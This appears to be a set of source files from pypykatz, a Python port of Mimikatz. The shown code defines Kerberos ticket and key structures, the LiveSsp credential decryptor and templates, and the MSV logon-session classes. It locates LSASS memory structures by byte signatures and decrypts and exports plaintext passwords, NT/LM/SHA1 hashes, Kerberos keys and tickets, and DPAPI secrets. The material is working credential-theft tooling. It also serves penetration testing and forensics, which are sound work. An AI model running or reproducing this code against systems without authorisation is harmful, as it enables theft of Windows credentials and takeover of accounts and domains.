712 self.TargetDomainName = LSA_UNICODE_STRING(reader)
713 self.Description = LSA_UNICODE_STRING(reader)
714 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
715 self.ClientName = PKERB_EXTERNAL_NAME(reader)
716 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
717 self.unk2 = ULONG(reader).value
718 self.KeyType = ULONG(reader).value
719 self.Key = KIWI_KERBEROS_BUFFER(reader)
720 self.unk3 = PVOID(reader).value
721 self.unk4 = PVOID(reader).value
722 self.unk5 = PVOID(reader).value
723 self.unk6 = PVOID(reader).value
724 self.unk7 = PVOID(reader).value
725 self.unk8 = PVOID(reader).value
726 self.StartTime = FILETIME(reader).value
727 self.EndTime = FILETIME(reader).value
728 self.RenewUntil = FILETIME(reader).value
729 self.unk9 = ULONG(reader).value
730 self.unk10 = ULONG(reader).value
731 self.domain = PCWSTR(reader).value
732 self.unk11 = ULONG(reader).value
733 self.strangeNames = PVOID(reader).value
734 self.unk12 = ULONG(reader).value
735 self.TicketEncType = ULONG(reader).value
736 self.TicketKvno = ULONG(reader).value
737 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
738
739 class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER):
740 def __init__(self, reader):
741 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52)
742
743
744 class KIWI_KERBEROS_INTERNAL_TICKET_52:
745 def __init__(self, reader):
746 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
747 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
748 self.unk0 = PVOID(reader).value
749 self.unk1 = PVOID(reader).value
750 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
751 self.TargetName = PKERB_EXTERNAL_NAME(reader)
752 self.DomainName = LSA_UNICODE_STRING(reader)
753 self.TargetDomainName = LSA_UNICODE_STRING(reader)
754 self.Description = LSA_UNICODE_STRING(reader)
755 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
756 self.ClientName = PKERB_EXTERNAL_NAME(reader)
757 self.name0 = PVOID(reader).value
758 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
759 self.unk2 = ULONG(reader).value
760 self.KeyType = ULONG(reader).value
761 self.Key = KIWI_KERBEROS_BUFFER(reader)
762 self.unk3 = PVOID(reader).value
763 self.unk4 = PVOID(reader).value
764 self.unk5 = PVOID(reader).value
765 self.StartTime = FILETIME(reader).value
766 self.EndTime = FILETIME(reader).value
767 self.RenewUntil = FILETIME(reader).value
768 self.unk6 = ULONG(reader).value
769 self.unk7 = ULONG(reader).value
770 self.domain = PCWSTR(reader).value
771 self.unk8 = ULONG(reader).value
772 self.strangeNames = PVOID(reader).value
773 self.unk9 = ULONG(reader).value
774 self.TicketEncType = ULONG(reader).value
775 self.TicketKvno = ULONG(reader).value
776 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
777
778 class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER):
779 def __init__(self, reader):
780 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60)
781
782
783 class KIWI_KERBEROS_INTERNAL_TICKET_60:
784 def __init__(self, reader):
785 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
786 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
787 self.unk0 = PVOID(reader).value
788 self.unk1 = PVOID(reader).value
789 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
790 self.TargetName = PKERB_EXTERNAL_NAME(reader)
791 self.DomainName = LSA_UNICODE_STRING(reader)
792 self.TargetDomainName = LSA_UNICODE_STRING(reader)
793 self.Description = LSA_UNICODE_STRING(reader)
794 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
795 #//LSA_UNICODE_STRING KDCServer = //?(reader).value
796 self.ClientName = PKERB_EXTERNAL_NAME(reader)
797 self.name0 = PVOID(reader).value
798 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
799 self.unk2 = ULONG(reader).value
800 self.KeyType = ULONG(reader).value
801 self.Key = KIWI_KERBEROS_BUFFER(reader)
802 self.unk3 = PVOID(reader).value
803 self.unk4 = PVOID(reader).value
804 self.unk5 = PVOID(reader).value
805 self.StartTime = FILETIME(reader).value
806 self.EndTime = FILETIME(reader).value
807 self.RenewUntil = FILETIME(reader).value
808 self.unk6 = ULONG(reader).value
809 self.unk7 = ULONG(reader).value
810 self.domain = PCWSTR(reader).value
811 self.unk8 = ULONG(reader).value
812 self.strangeNames = PVOID(reader).value
813 self.unk9 = ULONG(reader).value
814 self.TicketEncType = ULONG(reader).value
815 self.TicketKvno = ULONG(reader).value
816 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
817
818
819 class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER):
820 def __init__(self, reader):
821 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6)
822
823 class KIWI_KERBEROS_INTERNAL_TICKET_6:
824 def __init__(self, reader):
825 #self.This = LIST_ENTRY(reader)
826 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
827 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
828
829 #reader.read(8)
830 #input('servicename\n' + hexdump(reader.peek(0x100)))
831 self.unk0 = PVOID(reader).value
832 self.unk1 = PVOID(reader).value
833 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
834 self.TargetName = PKERB_EXTERNAL_NAME(reader)
835 self.DomainName = LSA_UNICODE_STRING(reader)
836 self.TargetDomainName = LSA_UNICODE_STRING(reader)
837 self.Description = LSA_UNICODE_STRING(reader)
838 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
839 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
840 self.ClientName = PKERB_EXTERNAL_NAME(reader)
841 self.name0 = PVOID(reader).value
842 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value
843 self.unk2 = ULONG(reader).value
844 self.KeyType = ULONG(reader).value
845 reader.align()
846 self.Key = KIWI_KERBEROS_BUFFER(reader)
847 self.unk3 = PVOID(reader).value
848 self.unk4 = PVOID(reader).value
849 self.unk5 = PVOID(reader).value
850 self.StartTime = FILETIME(reader).value
851 self.EndTime = FILETIME(reader).value
852 self.RenewUntil = FILETIME(reader).value
853 self.unk6 = ULONG(reader).value
854 self.unk7 = ULONG(reader).value
855 self.domain = PCWSTR(reader).value
856 self.unk8 = ULONG(reader).value
857 reader.align()
858 self.strangeNames = PVOID(reader).value
859 self.unk9 = ULONG(reader).value
860 self.TicketEncType = ULONG(reader).value
861 self.TicketKvno = ULONG(reader).value
862 reader.align()
863 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
864
865 class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER):
866 def __init__(self, reader):
867 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10)
868
869 class KIWI_KERBEROS_INTERNAL_TICKET_10:
870 def __init__(self, reader):
871 #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100)))
872 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
873 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
874 self.unk0 = PVOID(reader).value
875 self.unk1 = PVOID(reader).value
876 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
877 self.TargetName = PKERB_EXTERNAL_NAME(reader)
878 self.DomainName = LSA_UNICODE_STRING(reader)
879 self.TargetDomainName = LSA_UNICODE_STRING(reader)
880 self.Description = LSA_UNICODE_STRING(reader)
881 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
882 self.KDCServer = LSA_UNICODE_STRING# //?(reader).value
883 self.unk10586_d = LSA_UNICODE_STRING# //?(reader).value
884 self.ClientName = PKERB_EXTERNAL_NAME(reader)
885 self.name0 = PVOID(reader).value
886 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
887 self.unk2 = ULONG(reader).value
888 self.KeyType = ULONG(reader).value
889 reader.align()
890 self.Key = KIWI_KERBEROS_BUFFER(reader)
891 self.unk3 = PVOID(reader).value
892 self.unk4 = PVOID(reader).value
893 self.unk5 = PVOID(reader).value
894 reader.align(8)
895 self.StartTime = FILETIME(reader).value
896 self.EndTime = FILETIME(reader).value
897 self.RenewUntil = FILETIME(reader).value
898 self.unk6 = ULONG(reader).value
899 self.unk7 = ULONG(reader).value
900 self.domain = PCWSTR(reader).value
901 self.unk8 = ULONG(reader).value
902 reader.align()
903 self.strangeNames = PVOID(reader).value
904 self.unk9 = ULONG(reader).value
905 self.TicketEncType = ULONG(reader).value
906 self.TicketKvno = ULONG(reader).value
907 reader.align()
908 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
909
910 class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER):
911 def __init__(self, reader):
912 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607)
913
914
915 class KIWI_KERBEROS_INTERNAL_TICKET_10_1607:
916 def __init__(self, reader):
917 #input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300)))
918 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
919 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
920 self.unk0 = PVOID(reader).value
921 self.unk1 = PVOID(reader).value
922 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
923 self.TargetName = PKERB_EXTERNAL_NAME(reader)
924 self.DomainName = LSA_UNICODE_STRING(reader)
925 self.TargetDomainName = LSA_UNICODE_STRING(reader)
926 self.Description = LSA_UNICODE_STRING(reader)
927 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
928 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
929 self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value
930 self.ClientName = PKERB_EXTERNAL_NAME(reader)
931 self.name0 = PVOID(reader).value
932 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
933 self.unk2 = ULONG(reader).value
934 self.unk14393_0 = PVOID(reader).value
935 self.KeyType = ULONG(reader).value
936 reader.align()
937 self.Key = KIWI_KERBEROS_BUFFER(reader)
938 self.unk14393_1 = PVOID(reader).value
939 self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value
940 self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value
941 self.unk5 = PVOID(reader).value # // up(reader).value
942 self.StartTime = FILETIME(reader).value
943 self.EndTime = FILETIME(reader).value
944 self.RenewUntil = FILETIME(reader).value
945 self.unk6 = ULONG(reader).value
946 self.unk7 = ULONG(reader).value
947 self.domain = PCWSTR(reader).value
948 self.unk8 = ULONG(reader).value
949 reader.align()
950 self.strangeNames = PVOID(reader).value
951 self.unk9 = ULONG(reader).value
952 self.TicketEncType = ULONG(reader).value
953 self.TicketKvno = ULONG(reader).value
954 reader.align()
955 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
956
957 class PKERB_HASHPASSWORD_GENERIC(POINTER):
958 def __init__(self, reader):
959 super().__init__(reader, KERB_HASHPASSWORD_GENERIC)
960
961 class KERB_HASHPASSWORD_GENERIC:
962 def __init__(self, reader):
963 #print('KERB_HASHPASSWORD_GENERIC')
964 #print(hexdump(reader.peek(0x50), start = reader.tell()))
965 self.Type = DWORD(reader).value
966 reader.align()
967 self.Size = SIZE_T(reader).value
968 self.Checksump = PVOID(reader) #this holds the actual credentials dunno why it's named this way...
969
970 class PKERB_HASHPASSWORD_5(POINTER):
971 def __init__(self, reader):
972 super().__init__(reader, KERB_HASHPASSWORD_5)
973
974 class KERB_HASHPASSWORD_5:
975 def __init__(self, reader):
976 self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962
977 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
978
979 class PKERB_HASHPASSWORD_6(POINTER):
980 def __init__(self, reader):
981 super().__init__(reader, KERB_HASHPASSWORD_6)
982
983 class KERB_HASHPASSWORD_6 :
984 def __init__(self, reader):
985 #print('KERB_HASHPASSWORD_6')
986 #input(hexdump(reader.peek(0x100), start = reader.tell()))
987 self.salt = LSA_UNICODE_STRING(reader) #// http://tools.ietf.org/html/rfc3962
988 self.stringToKey = PVOID(reader) # // AES Iterations (dword ?)
989 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
990
991
992 class PKERB_HASHPASSWORD_6_1607(POINTER):
993 def __init__(self, reader):
994 super().__init__(reader, KERB_HASHPASSWORD_6_1607)
995 class KERB_HASHPASSWORD_6_1607:
996 def __init__(self, reader):
997 self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962(reader).value
998 self.stringToKey = PVOID(reader).value # // AES Iterations (dword ?)(reader).value
999 self.unk0 = PVOID(reader).value
1000 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
1001
1002 class PKIWI_KERBEROS_KEYS_LIST_5(POINTER):
1003 def __init__(self, reader):
1004 super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5)
1005
1006 class KIWI_KERBEROS_KEYS_LIST_5:
1007 def __init__(self, reader):
1008 self.unk0 = DWORD(reader).value #// dword_1233EC8 dd 4
1009 self.cbItem = DWORD(reader).value #// debug048:01233ECC dd 5(reader).value
1010 self.unk1 = PVOID(reader).value
1011 self.unk2 = PVOID(reader).value
1012 #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value
1013 self.KeyEntries_start = reader.tell()
1014 self.KeyEntries = []
1015
1016 def read(self, reader, keyentries_type):
1017 reader.move(self.KeyEntries_start)
1018 for _ in range(self.cbItem):
1019 self.KeyEntries.append(keyentries_type(reader))
1020
1021 class PKIWI_KERBEROS_KEYS_LIST_6(POINTER):
1022 def __init__(self, reader):
1023 super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6)
1024 class KIWI_KERBEROS_KEYS_LIST_6:
1025 def __init__(self, reader):
1026 #print('KIWI_KERBEROS_KEYS_LIST_6')
1027 #print(hexdump(reader.peek(0x100), start = reader.tell()))
1028 self.unk0 = DWORD(reader).value # // dword_1233EC8 dd 4(reader).value
1029 self.cbItem = DWORD(reader).value # // debug048:01233ECC dd 5(reader).value
1030 self.unk1 = PVOID(reader).value
1031 self.unk2 = PVOID(reader).value
1032 self.unk3 = PVOID(reader).value
1033 self.unk4 = PVOID(reader).value
1034 self.KeyEntries_start = reader.tell()
1035 self.KeyEntries = []
1036
1037 def read(self, reader, keyentries_type):
1038 reader.move(self.KeyEntries_start)
1039 for _ in range(self.cbItem):
1040 self.KeyEntries.append(keyentries_type(reader))
1041 #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value
1042
1043 class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER):
1044 def __init__(self, reader):
1045 super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET)
1046 class KIWI_KERBEROS_ENUM_DATA_TICKET:
1047 def __init__(self, reader):
1048 self.isTicketExport = BOOL(reader).value
1049 self.isFullTicket = BOOL(reader).value
1050
1051 class KIWI_KERBEROS_BUFFER:
1052 def __init__(self, reader):
1053 self.Length = ULONG(reader).value
1054 reader.align()
1055 self.Value = PVOID(reader)
1056
1057 ##not part of struct
1058 self.Data = None
1059
1060 def read(self, reader):
1061 self.Data = self.Value.read_raw(reader, self.Length)
1062 return self.Data
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
8
9 class LiveSspCredential:
10 def __init__(self):
11 self.credtype = 'livessp'
12 self.username = None
13 self.domainname = None
14 self.password = None
15 self.luid = None
16
17 def to_dict(self):
18 t = {}
19 t['credtype'] = self.credtype
20 t['username'] = self.username
21 t['domainname'] = self.domainname
22 t['password'] = self.password
23 t['luid'] = self.luid
24 return t
25 def to_json(self):
26 return json.dumps(self.to_dict())
27
28 def __str__(self):
29 t = '\t== LiveSsp [%x]==\n' % self.luid
30 t += '\tusername %s\n' % self.username
31 t += '\tdomainname %s\n' % self.domainname
32 t += '\tpassword %s\n' % self.password
33 return t
34
35 class LiveSspDecryptor(PackageDecryptor):
36 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
37 super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader)
38 self.decryptor_template = decryptor_template
39 self.credentials = []
40
41 async def find_first_entry(self):
42 position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature)
43 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
44 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
45 return ptr_entry, ptr_entry_loc
46
47 async def add_entry(self, ssp_entry):
48 c = LiveSspCredential()
49 c.luid = ssp_entry.LocallyUniqueIdentifier
50
51 suppCreds = await ssp_entry.suppCreds.read(self.reader)
52
53 c.username = await suppCreds.credentials.UserName.read_string(self.reader)
54 c.domainname = await suppCreds.credentials.Domaine.read_string(self.reader)
55 if suppCreds.credentials.Password.Length != 0:
56 enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader)
57 if c.username.endswith('$') is True:
58 c.password = self.decrypt_password(enc_data, bytes_expected=True)
59 if c.password is not None:
60 c.password = c.password.hex()
61 else:
62 c.password = self.decrypt_password(enc_data)
63
64 self.credentials.append(c)
65
66 async def start(self):
67 try:
68 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
69 except Exception as e:
70 self.log('Failed to find structs! Reason: %s' % e)
71 return
72 await self.reader.move(entry_ptr_loc)
73 entry_ptr = await self.decryptor_template.list_entry.load(self.reader)
74 await self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 #from minidump.win_datatypes import *
7 from pypykatz.commons.common import KatzSystemArchitecture
8 from pypykatz.alsadecryptor.win_datatypes import POINTER, ULONG, \
9 KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING
10 from pypykatz.alsadecryptor.package_commons import PackageTemplate
11
12 class LiveSspTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('LiveSsp')
15 self.signature = None
16 self.first_entry_offset = None
17 self.list_entry = None
18
19 @staticmethod
20 def get_template(sysinfo):
21 template = LiveSspTemplate()
22 template.list_entry = PKIWI_LIVESSP_LIST_ENTRY
23 template.log_template('list_entry', template.list_entry)
24
25 if sysinfo.architecture == KatzSystemArchitecture.X64:
26 template.signature = b'\x74\x25\x8b'
27 template.first_entry_offset = -7
28
29
30 elif sysinfo.architecture == KatzSystemArchitecture.X86:
31 template.signature = b'\x8b\x16\x39\x51\x24\x75\x08'
32 template.first_entry_offset = -8
33
34 else:
35 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
36
37
38 return template
39
40
41 class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER):
42 def __init__(self):
43 super().__init__()
44
45 @staticmethod
46 async def load(reader):
47 p = PKIWI_LIVESSP_PRIMARY_CREDENTIAL()
48 p.location = reader.tell()
49 p.value = await reader.read_uint()
50 p.finaltype = KIWI_LIVESSP_PRIMARY_CREDENTIAL
51 return p
52
53 class KIWI_LIVESSP_PRIMARY_CREDENTIAL:
54 def __init__(self):
55 self.isSupp = None
56 self.unk0 = None
57 self.credentials = None
58
59 @staticmethod
60 async def load(reader):
61 res = KIWI_LIVESSP_PRIMARY_CREDENTIAL()
62 res.isSupp = await ULONG.loadvalue(reader)
63 res.unk0 = await ULONG.loadvalue(reader)
64 res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
65 return res
66
67
68 class PKIWI_LIVESSP_LIST_ENTRY(POINTER):
69 def __init__(self):
70 super().__init__()
71
72 @staticmethod
73 async def load(reader):
74 p = PKIWI_LIVESSP_LIST_ENTRY()
75 p.location = reader.tell()
76 p.value = await reader.read_uint()
77 p.finaltype = KIWI_LIVESSP_LIST_ENTRY
78 return p
79
80 class KIWI_LIVESSP_LIST_ENTRY:
81 def __init__(self):
82 self.Flink = None
83 self.Blink = None
84 self.unk0 = None
85 self.unk1 = None
86 self.unk2 = None
87 self.unk3 = None
88 self.unk4 = None
89 self.unk5 = None
90 self.unk6 = None
91 self.LocallyUniqueIdentifier = None
92 self.UserName = None
93 self.unk7 = None
94 self.suppCreds = None
95
96 @staticmethod
97 async def load(reader):
98 res = KIWI_LIVESSP_LIST_ENTRY()
99 res.Flink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader)
100 res.Blink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader)
101 res.unk0 = await PVOID.load(reader)
102 res.unk1 = await PVOID.load(reader)
103 res.unk2 = await PVOID.load(reader)
104 res.unk3 = await PVOID.load(reader)
105 res.unk4 = await DWORD.loadvalue(reader)
106 res.unk5 = await DWORD.loadvalue(reader)
107 res.unk6 = await PVOID.load(reader)
108 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
109 res.UserName = await LSA_UNICODE_STRING.load(reader)
110 res.unk7 = await PVOID.load(reader)
111 res.suppCreds = await PKIWI_LIVESSP_PRIMARY_CREDENTIAL.load(reader)
112 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 import base64
8 from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, AGenericReader, UniversalEncoder, hexdump
9 from pypykatz.commons.filetime import filetime_to_dt
10 from pypykatz.alsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC
11 from pypykatz.alsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY
12 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
13
14 class MsvCredential:
15 def __init__(self):
16 self.username = None
17 self.domainname = None
18 self.NThash = None
19 self.LMHash = None
20 self.SHAHash = None
21 self.DPAPI = None
22 self.isoProt = None
23
24
25 def to_dict(self):
26 t = {}
27 t['username'] = self.username
28 t['domainname'] = self.domainname
29 t['NThash'] = self.NThash
30 t['LMHash'] = self.LMHash
31 t['SHAHash'] = self.SHAHash
32 t['DPAPI'] = self.DPAPI
33 return t
34
35 def to_json(self):
36 return json.dumps(self.to_dict(), cls=UniversalEncoder)
37
38 def __str__(self):
39 t = '\t== MSV ==\n'
40 t += '\t\tUsername: %s\n' % (self.username if self.username else 'NA')
41 t += '\t\tDomain: %s\n' % (self.domainname if self.domainname else 'NA')
42 t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA')
43 t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA')
44 t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA')
45 t += '\t\tDPAPI: %s\n' % (self.DPAPI.hex() if self.DPAPI else 'NA')
46 return t
47
48 class CredmanCredential:
49 def __init__(self):
50 self.credtype = 'credman'
51 self.luid = None
52 self.username = None
53 self.password = None
54 self.domainname = None
55
56 def to_dict(self):
57 t = {}
58 t['credtype'] = self.credtype
59 t['username'] = self.username
60 t['domainname'] = self.domainname
61 t['password'] = self.password
62 t['luid'] = self.luid
63 return t
64
65 def to_json(self):
66 return json.dumps(self.to_dict())
67
68 def __str__(self):
69 t = '\t== CREDMAN [%x]==\n' % self.luid
70 t += '\t\tluid %s\n' % self.luid
71 t += '\t\tusername %s\n' % self.username
72 t += '\t\tdomain %s\n' % self.domainname
73 t += '\t\tpassword %s\n' % self.password
74 return t
75
76
77 class LogonSession:
78 grep_header = ['packagename', 'domain', 'user', 'NT', 'LM', 'SHA1', 'masterkey', 'sha1_masterkey', 'key_guid','plaintext']
79
80 def __init__(self):
81 self.authentication_id = None
82 self.session_id = None
83 self.username = None
84 self.domainname = None
85 self.logon_server = None
86 self.logon_time = None
87 self.sid = None
88 self.luid = None
89
90 self.msv_creds = []
91 self.wdigest_creds = []
92 self.ssp_creds = []
93 self.livessp_creds = []
94 self.dpapi_creds = []
95 self.kerberos_creds = []
96 self.credman_creds = []
97 self.tspkg_creds = []
98 self.cloudap_creds = []
99
100 @staticmethod
101 async def parse(entry, reader):
102 """
103 Converts KIWI_MSV1_0_LIST type objects into a unified class
104 """
105 lsc = LogonSession()
106 lsc.authentication_id = entry.LocallyUniqueIdentifier
107 lsc.session_id = entry.Session
108 lsc.username = await entry.UserName.read_string(reader)
109 lsc.domainname = await entry.Domaine.read_string(reader)
110 lsc.logon_server = await entry.LogonServer.read_string(reader)
111 if entry.LogonTime != 0:
112 lsc.logon_time = filetime_to_dt(entry.LogonTime).isoformat()
113 ts = await entry.pSid.read(reader)
114 lsc.sid = str(ts)
115 lsc.luid = entry.LocallyUniqueIdentifier
116 return lsc
117
118 def to_dict(self):
119 t = {}
120 t['authentication_id'] = self.authentication_id
121 t['session_id'] = self.session_id
122 t['username'] = self.username
123 t['domainname'] = self.domainname
124 t['logon_server'] = self.logon_server
125 t['logon_time'] = self.logon_time
126 t['sid'] = self.sid
127 t['luid'] = self.luid
128 t['msv_creds'] = []
129 t['wdigest_creds'] = []
130 t['ssp_creds'] = []
131 t['livessp_creds'] = []
132 t['dpapi_creds'] = []
133 t['kerberos_creds'] = []
134 t['credman_creds'] = []
135 t['tspkg_creds'] = []
136 for cred in self.msv_creds:
137 t['msv_creds'].append(cred.to_dict())
138 for cred in self.wdigest_creds:
139 t['wdigest_creds'].append(cred.to_dict())
140 for cred in self.ssp_creds:
141 t['ssp_creds'].append(cred.to_dict())
142 for cred in self.livessp_creds:
143 t['livessp_creds'].append(cred.to_dict())
144 for cred in self.dpapi_creds:
145 t['dpapi_creds'].append(cred.to_dict())
146 for cred in self.kerberos_creds:
147 t['kerberos_creds'].append(cred.to_dict())
148 for cred in self.credman_creds:
149 t['credman_creds'].append(cred.to_dict())
150 for cred in self.tspkg_creds:
151 t['tspkg_creds'].append(cred.to_dict())
152 return t
153
154 def to_json(self):
155 return json.dumps(self.to_dict(), cls=UniversalEncoder)
156
157 def __str__(self):
158 t = '== LogonSession ==\n'
159 t += 'authentication_id %s (%x)\n' % (self.authentication_id, self.authentication_id)
160 t += 'session_id %s\n' % self.session_id
161 t += 'username %s\n' % self.username
162 t += 'domainname %s\n' % self.domainname
163 t += 'logon_server %s\n' % self.logon_server
164 t += 'logon_time %s\n' % self.logon_time
165 t += 'sid %s\n' % self.sid
166 t += 'luid %s\n' % self.luid
167 if len(self.msv_creds) > 0:
168 for cred in self.msv_creds:
169 t+= '%s' % str(cred)
170 if len(self.wdigest_creds) > 0:
171 for cred in self.wdigest_creds:
172 t+= str(cred)
173 if len(self.ssp_creds) > 0:
174 for cred in self.ssp_creds:
175 t+= str(cred)
176 if len(self.livessp_creds) > 0:
177 for cred in self.livessp_creds:
178 t+= str(cred)
179 if len(self.kerberos_creds) > 0:
180 for cred in self.kerberos_creds:
181 t+= str(cred)
182 if len(self.wdigest_creds) > 0:
183 for cred in self.wdigest_creds:
184 t+= str(cred)
185 if len(self.credman_creds) > 0:
186 for cred in self.credman_creds:
187 t+= str(cred)
188 if len(self.tspkg_creds) > 0:
189 for cred in self.tspkg_creds:
190 t+= str(cred)
191 if len(self.dpapi_creds) > 0:
192 for cred in self.dpapi_creds:
193 t+= str(cred)
194 return t
195
196 def to_row(self):
197 for cred in self.msv_creds:
198 t = cred.to_dict()
199 yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'NT', t['NThash'].hex() if t['NThash'] else '']
200 yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'LM', t['LMHash'].hex() if t['LMHash'] else '']
201 yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'sha1', t['SHAHash'].hex() if t['SHAHash'] else '']
202 for cred in self.wdigest_creds:
203 t = cred.to_dict()
204 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
205 for cred in self.ssp_creds:
206 t = cred.to_dict()
207 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
208 for cred in self.livessp_creds:
209 t = cred.to_dict()
210 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
211 for cred in self.dpapi_creds:
212 t = cred.to_dict()
213 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', t['masterkey']]
214 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', t['sha1_masterkey']]
215 for cred in self.kerberos_creds:
216 t = cred.to_dict()
217 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
218 for cred in self.credman_creds:
219 t = cred.to_dict()
220 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
221 for cred in self.tspkg_creds:
222 t = cred.to_dict()
223 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
224
225 def to_grep_rows(self):
226 for cred in self.msv_creds:
227 t = cred.to_dict()
228 yield [
229 'msv',
230 self.domainname,
231 self.username,
232 t['NThash'].hex() if t['NThash'] else '',
233 t['LMHash'].hex() if t['LMHash'] else '',
234 t['SHAHash'].hex() if t['SHAHash'] else '',
235 '',
236 '',
237 '',
238 ''
239 ]
240
